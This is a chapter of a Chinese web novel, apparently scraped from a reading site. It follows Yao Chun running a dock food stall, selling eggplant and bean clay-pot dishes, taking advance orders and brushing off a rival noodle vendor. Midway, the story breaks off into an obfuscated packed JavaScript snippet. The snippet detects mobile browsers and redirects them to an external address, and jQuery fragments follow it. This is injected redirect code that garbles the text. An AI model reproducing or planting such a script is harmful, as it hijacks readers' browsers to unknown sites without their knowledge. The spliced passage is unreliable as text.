先舀一勺肉沫茄子入嘴,王老板眼睛眯成一条缝,入口久久不散的浓香肉味裹着每一条茄肉,作为对食物略有研究的王老板一下便尝出这茄子事先应该用油煎或炸过,去处了茄子本身大部分的水分,这样做出来才不会显得过于软烂且还能更好入味。
好吃!
王老板吃得眉头都舒展了,继而对一旁的金汤菜更加期待,于是立马也来了一口。
唔!好酸好辣!
王老板素日更爱好浓油赤酱,更喜欢大口地吃大块肉,像姚椿卖的这两样若不是烧饼摊的张婆子推荐,他还真一定会主动过来尝试。
不过虽然与自己平日喝的高汤不同,但王老板发现自己并不讨厌,入口是简单清爽的酸辣,很干脆的味道,他并不喜欢吃菜,可煮在这汤里的青菜萝卜居然很符合他的胃口,菜本身的味道被很好的掩盖下去。
王老板连吃了几口菜,头一回没去碰碗中的肉。
待吃了一半,他望着两道菜喃喃遗憾道:“真该来碗米饭啊。”
这浓郁的汤汁裹进大米饭里,他一口气能吃两碗。
姚椿听了当即接道:“是啊,肉沫茄子配米饭极佳,若您想吃,可提前预订,明日我专门做一份肉沫茄子饭煲。”
王老板当即竖起耳朵:“饭煲?”
姚椿笑道:“是。”
这回倒不是她忘了,若头一回就加上米饭成本太大,万一没碰上像眼前这样不在乎这几文钱的客人,怕是一份也卖不出去,那就亏大了。
对于她目前这个经不起太多动荡吃食摊子来说,徐徐图之才为最佳。
有意思,王老板下意识觉得她说的饭煲应该不是自己以为的多加一碗米饭的事,顿时好奇起来。
不过他也看得出眼前妇人是特意没说全乎,他也不恼,反而还很期待:“成,那我预订一份。”
他倒要瞧瞧到底是什么样的饭煲值得她如此卖关子。
……
头一回,王老板在要了一锅肉烧饼后,又要了两个素的现吃。
没有米饭,烧饼也凑合,王老板极会吃,都不用姚椿提醒,手上动作灵活地给烧饼开了个口,接着一勺又一勺肉沫茄子和肉沫豆角塞进去。
方才去隔壁拿俩素烧饼前,王老板又要了份肉沫豆角煲,有茄子在前,王老板对绿油油的豆角也没那么排斥了。
许是经常来码头这边寻觅吃食,王老板与附近好些铺子里的掌柜都相熟,一口烧饼下去没嚼两下就遇到个熟人。
几番下来,姚椿也大概听了一些,这位王老板家住县城,主做酒水生意,不过他已经退下来好几年了,家里目前由长子当家,他平时就含饴弄孙或者悄摸溜出来觅食。
通平镇离县城不远,坐马车溜溜达达不要半个时辰就能到,若是骑马还能更快。
像王家在镇上还有个老宅,王老板平日嫌家里晚辈念叨烦了就会回镇上老宅住个十天半个月,然后好好搓几顿。
镇上的酒楼虽不如县城里那两家,但还是有几家不错的街边摊。
这不,今日又让他发现一家。
姚椿也很高兴,一共五份煲,先前两位伙计合买了一份,然后王老板一人就要了两份,现在又被王老板相熟的米店掌柜买去一份。
还是王老板极力推荐。
姚椿估摸着米店掌柜也是看在王老板面子的份上,才愿意在这露天的吃食摊子解决午饭。
“哈哈我没坑你吧,李老板?”王老板笑道。
李掌柜一口烧饼一口肉沫茄子,吃得大块朵颐,压根没空回他。
边上俩正买金汤菜的伙计还是头一回瞧见他们掌柜的如此不顾形象痛快吃喝,瞬间傻眼,好在他们反应还算快,买了金汤菜迅速找了个掌柜看不见的角落吃,假装什么都没看到。
李掌柜吃完,帕子抹了嘴就道:“那什么我也预订一份带米饭的,能做吧?”
送上门的生意不做是傻子,姚椿笑呵呵应下:“能。”
随后又看向两位老板:“那明儿还是这个时辰?”
王老板和李掌柜齐齐点头。
确定了时间,俩人这才挺直一大一小俩肚子背手悠闲离开,王老板手里还拎着十个刚出炉的肉烧饼。
将将两刻钟多一点,五份砂锅煲就卖了四份,担心了一早上的罗氏总算松了口气,一斤半肥半瘦的猪肉也就十二三文左右,她一份掺了不少茄子的砂锅煲转头就卖人家十二文。
简直就是奸商!
而奸商姚椿此刻在做什么呢,罗氏见她熄了炭火,忙道:“这份还没卖呢。”
“这份不卖了,我们自己吃。”时间太久,为了尽量保证它们刚出锅的特质,她特意多留出的汤汁都快熬干了,再熬下去就要糊啦!
连吃了几日烧饼姚椿有些腻了,趁着码头临下工前这点时间,她让罗氏帮忙看着摊子,自己跑远一点去买馒头。
然而当她带着四个馒头回来却看见摊子前有人拉拉扯扯在吵什么。
走近一看,她还认识。
正是另一边上卖鸡汤面的夫妻俩其中的一位。
“我说了不换,你听不懂话?”罗氏挡在两个孩子前面冲那妇人道。
“哎呦,大家都在码头上卖吃食,我看你家孩子可怜光吃菜怕是吃不饱,好心盛一碗鸡汤面过来换你一碗菜不过分吧。”妇人嚷嚷声大,当即引来几道侧目。
罗氏冷脸,若是在村里她早挠上去了,没见过这么会占便宜的。
“这位大婶。”姚椿赶紧走过去,瞥了一眼对方手里的鸡汤面。
汤多面少,上面稀稀拉拉飘着两根蔫了吧唧的菜叶子,不知道放了多久。
还有别说鸡汤的香味了,那上头明晃晃的一道油渍印从碗口延升到碗底,姚椿严重怀疑是上一个食客吃完就根本没洗。
然而姚椿还没来得及开口,妇人瞧见她率先抢道:“昨儿我还瞧你和张婆子互换吃食呢,想着我家的鸡汤面你们怕还没尝过吧,所以——”
“所以不换。”姚椿淡定打断。
妇人脸色当即变了:“你!我好心好意——”
“不好意思啊这位大婶。”姚椿又打断她,“你面里有只苍蝇。”
这会儿码头已经下工,三三两两的工人朝这边走来,打头的就是左丘,听见姚椿的话,下意识就往妇人手中的面碗看去,果真瞧见一只硕大的苍蝇立在碗口,当即‘嚯’的一声:“你这妇人忒不地道,拿苍蝇啃过的面出来卖呢!”
左丘之前也吃过两回这家的鸡汤面,一想到自己吃过的面里或也有苍蝇路过,他忽然就想吐了。
妇人慌忙挥走苍蝇,然而却为时已晚。
她这回也算是吃了一回大嗓门的亏,左丘的话不少人都听见了,有那今日想吃口热汤面的小工头当即转变了方向。
眼见本就为数不多的客人也摆手离开,正揉面的中年男恼怒地瞪了一眼妇人:“你个老娘们,还不赶紧回来,尽给老子丢脸!”
被这么多人围观,自家男人还不给自己面子,妇人再难抬起头与姚椿争辩,端紧面碗扭身匆匆离开。
碍眼的人走了,左丘才笑呵呵重新道:“今儿给我来碗带肉片的。”
“我也要一碗肉的。”后头一个年轻汉子插道。
一点小插曲大家都没在意,见‘邻居’生意红火就想使坏的热闹,他们过去见得多了。
“呦呵?有新菜啊?”左丘刚接过碗,余光就瞥见坐着矮凳趴在板车上吃得一嘴油的俩女娃娃,面前放着一个砂锅,里头装着的好像肉沫和豆角。
闻着油香油香的。
“新做的肉沫茄子煲和肉沫豆角煲。”姚椿解释,“不过怕卖不出去,就只做了五份试一试,剩这最后一份煮久了味道有些过,就留着自家孩子吃了。”
啥过不过啊,左丘下意识抹了一把嘴,就这都给他香坏了,顺嘴就问了一句多少钱一份。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446610|185123||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
姚椿:“十二文。”
左丘:“……”
想试试又有点舍不得,嘿,幸好卖完了。
跟着摆摊这几天,纪满月慢慢也琢磨出点东西,故而这回故意吃得很慢。
成功将几个来买金汤菜的汉子们香坏了。
有那一两个舍得在吃食上花钱的立刻问了与左丘一样的问题,得知要十二文,心底掂量了下,觉得偶尔吃一次也成,便口头上让姚椿明儿留一份给他们。
“当然可以。”姚椿不经意道,“幸好您两位提早预订,否则明儿还不一定能留有。”
那开口说让姚椿明儿给自己留一份的汉子当即好奇:“什么意思?”
姚椿笑眯眯回:“方才县城王记酒行的王老板和镇上粮铺的李掌柜也各自预订了一份。”
“你说啥?”娘嘞!汉子内心惊呼,县城的大老板也喜欢,那得多好吃!
本来还犹豫要不要合订一份先试试味的俩汉子互看一眼,当即异口同声决定各要一份。
见嫂子不动声色就把明天的又卖出去两份,纪满月心底高兴疯了,眼中的崇拜与仰慕都快溢出来。
“好的,不过您两位是单独要煲,还是加米饭的。”姚椿又问。
“加米饭怕是要贵一些吧。”其中有些经验的汉子道。
“是要贵些。”对上二人七分探究三分审视的视线,姚椿毫不避讳道,“加米饭十八文一份。”
乖乖!十八文一份!一旁竖着耳朵听的左丘吸溜着金汤,心底感叹,都够他吃小十天的金汤菜了。
好在十八文一顿饭对俩汉子来说并没到吃不起的地步,不过他们也不是什么大款,当即问:“纯米饭不?”
姚椿点头保证:“不掺一点粗粮。”
俩汉子心有底了,那还值得一试。
金汤菜快卖完时,明日最后一份煲也预订了出去,不过这一份的客人只单订了煲。
刚过午时,两个大木桶就全空了。
摊前的客人逐渐散去,姚椿嘴里叼着最后一口馒头咽下去,做吃食买卖就是容易三餐不规律。
平安见到娘在艰难地咽馒头,连忙捧起水囊过来:“娘,喝。”
姚椿举起水囊,尚有余温的水顺着喉管流下去,总算没那么噎了。
一直这样也不算个事,罗氏看在眼里,半晌后道:“明儿中间我替你一会儿。”看了这么久,一碗盛多少菜多少汤,她心里也有数了。
“呵呵,穿得跟叫花子似的出来摆摊,也不嫌寒颤!”冷不丁耳边传来一道骂声。
正要点头的姚椿寻声,发现是那卖鸡汤面的摊子不知何时往自己这挪了挪,夫妻俩在案板上敲敲打打,满脸写着不服气。
姚椿:“……”
低头看了一眼身上,东一个补丁西一个补丁,的确不能细看。
唉,她什么时候才能穿上新衣服,姚椿扭头眼巴巴看向罗氏。
莫名读懂她眼神意思的罗氏:“……最快也得后日。”
姚椿也不纠结:“成!”
见骂了半天也没人应声,鸡汤面夫妻脸上恼意更甚,对此姚椿心里表示:去你大爷的!你姑奶奶我都懒得搭理!
每日做吃食卖已经够耗费心神了,对这样的小打小闹,只要不影响自己赚钱,姚椿一律不予理会。
她不在乎,罗氏却是个计较的,回去一路都在嘀咕那对夫妻,一会儿骂那男的蔫坏只管让婆娘出头,又说那妇人蠢什么都听自家男人,哈巴狗似的。
听得姚椿直乐。
“你还笑得出!”罗氏一脸恨铁不成钢,“人家都快指着你鼻子骂了。”
姚椿却道:“狗咬我一口难不成我还要咬回去?”
罗氏顿了顿,接:“你可以朝它们身上泼粪呐!”
姚椿:“?”
莫名有些道理啊。
就这样插科打诨,一行人经过石头村时,遇到了个熟人。